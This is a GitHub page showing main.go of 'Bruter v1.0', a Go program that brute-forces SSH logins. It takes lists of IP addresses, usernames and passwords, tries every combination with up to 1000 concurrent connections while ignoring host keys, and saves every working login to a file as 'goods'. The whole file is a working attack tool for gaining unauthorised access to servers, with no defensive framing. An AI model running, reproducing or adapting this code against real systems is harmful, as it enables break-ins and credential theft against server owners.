-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.go
180 lines (148 loc) · 4.27 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
package main
import (
"fmt"
"os"
"sync"
"time"
"de1v.eu/bruter/files"
"de1v.eu/bruter/terminal"
"golang.org/x/crypto/ssh"
)
var usernamesFile string = "usernames.txt"
var passwordsFile string = "passwords.txt"
var ipsFile string = "ips.txt"
var timeout int = 5
var numConcurrents int = 1000
var checkedSSH int = 0
var connected int = 0
var goodsFinded int = 0
func loginSSH(username, password, ip string, channel chan struct{}, wg *sync.WaitGroup, mtx *sync.Mutex) {
defer wg.Done()
channel <- struct{}{}
defer func() { <-channel }()
config := &ssh.ClientConfig{
User: username,
Auth: []ssh.AuthMethod{
ssh.Password(password),
},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
Timeout: time.Duration(timeout) * time.Second,
}
conn, err := ssh.Dial("tcp", ip+":22", config)
if err != nil {
checkedSSH++
connected++
return
}
conn.Close()
checkedSSH++
connected++
goodsFinded++
connectStr := fmt.Sprintf("%s:22 %s:%s", ip, username, password)
mtx.Lock()
files.SaveStringToFile(connectStr)
mtx.Unlock()
}
func startBruter(usernames, passwords, ips []string) {
var wg sync.WaitGroup
var mtx sync.Mutex
channel := make(chan struct{}, numConcurrents)
for _, ip := range ips {
for _, username := range usernames {
for _, password := range passwords {
wg.Add(1)
go loginSSH(username, password, ip, channel, &wg, &mtx)
time.Sleep(time.Millisecond)
}
}
}
wg.Wait()
close(channel)
}
func main() {
banner := `
+--------------------------------------------------------------------------------+
| Bruter v1.0 - A brute force SSH. |
| Author: de1v (https://github.com/mrde1v/bruter) |
| Usage: ./bruter |
+--------------------------------------------------------------------------------+
`
fmt.Println(banner)
time.Sleep(300 * time.Millisecond)
fmt.Printf("Enter usernames file (usernames.txt): ")
fmt.Scan(&usernamesFile)
fmt.Printf("Enter passwords file (passwords.txt): ")
fmt.Scan(&passwordsFile)
fmt.Printf("Enter ips file (ips.txt): ")
fmt.Scan(&ipsFile)
fmt.Printf("Enter timeout (5): ")
fmt.Scan(&timeout)
fmt.Printf("Enter numConcurrents (1000): ")
fmt.Scan(&numConcurrents)
fmt.Println("Starting bruter...")
start := time.Now()
ips := files.ReadIPsFile(ipsFile)
if len(ips) == 0 {
terminal.Print("No IPs found in file.")
return
}
usernames := files.ReadIPsFile(usernamesFile)
if len(ips) == 0 {
terminal.Print("No usernames found in file.")
return
}
passwords := files.ReadIPsFile(passwordsFile)
if len(ips) == 0 {
terminal.Print("No passwords found in file.")
return
}
checksSSH := len(ips) * len(usernames) * len(passwords)
go startBruter(usernames, passwords, ips)
go func() {
remainingTimeStart := time.Now().Add(time.Duration(checksSSH/numConcurrents*timeout) * time.Second)
for {
elapsed := time.Since(start)
totalSeconds := int(elapsed.Seconds())
days := totalSeconds / (24 * 3600)
totalSeconds %= 24 * 3600
hours := totalSeconds / 3600
totalSeconds %= 3600
minutes := totalSeconds / 60
seconds := totalSeconds % 60
elapsedTime := fmt.Sprintf("%02d:%02d:%02d:%02d", days, hours, minutes, seconds)
totalSecondsR := int(time.Until(remainingTimeStart).Seconds())
if totalSecondsR < 0 {
totalSecondsR = 0
}
connectedChecked := false
if !connectedChecked {
connectedChecked = true
connected = 0
} else {
connectedChecked = false
}
terminal.ClearTerminal()
statusRaw := fmt.Sprintf(
"+---------------------------------+\n"+
"File: %s | Timeout: %ds\n"+
"|---------------------------------|\n"+
"Checked SSH: %d/%d\n"+
"Connected: %d IP/s\n"+
"Elapsed Time: %s\n"+
"Remaining Time: %d seconds\n"+
"Goods: %d\n"+
"+---------------------------------+\n"+
"| coded by de1v with ♥ |\n"+
"+---------------------------------+\n",
ipsFile, timeout, checkedSSH, checksSSH, connected, elapsedTime, totalSecondsR, goodsFinded,
)
terminal.Print(statusRaw)
if checkedSSH == checksSSH {
terminal.Print("Finished brute forcing. Goods found: " + fmt.Sprint(goodsFinded))
os.Exit(0)
}
time.Sleep(500 * time.Millisecond)
}
}()
select {}
}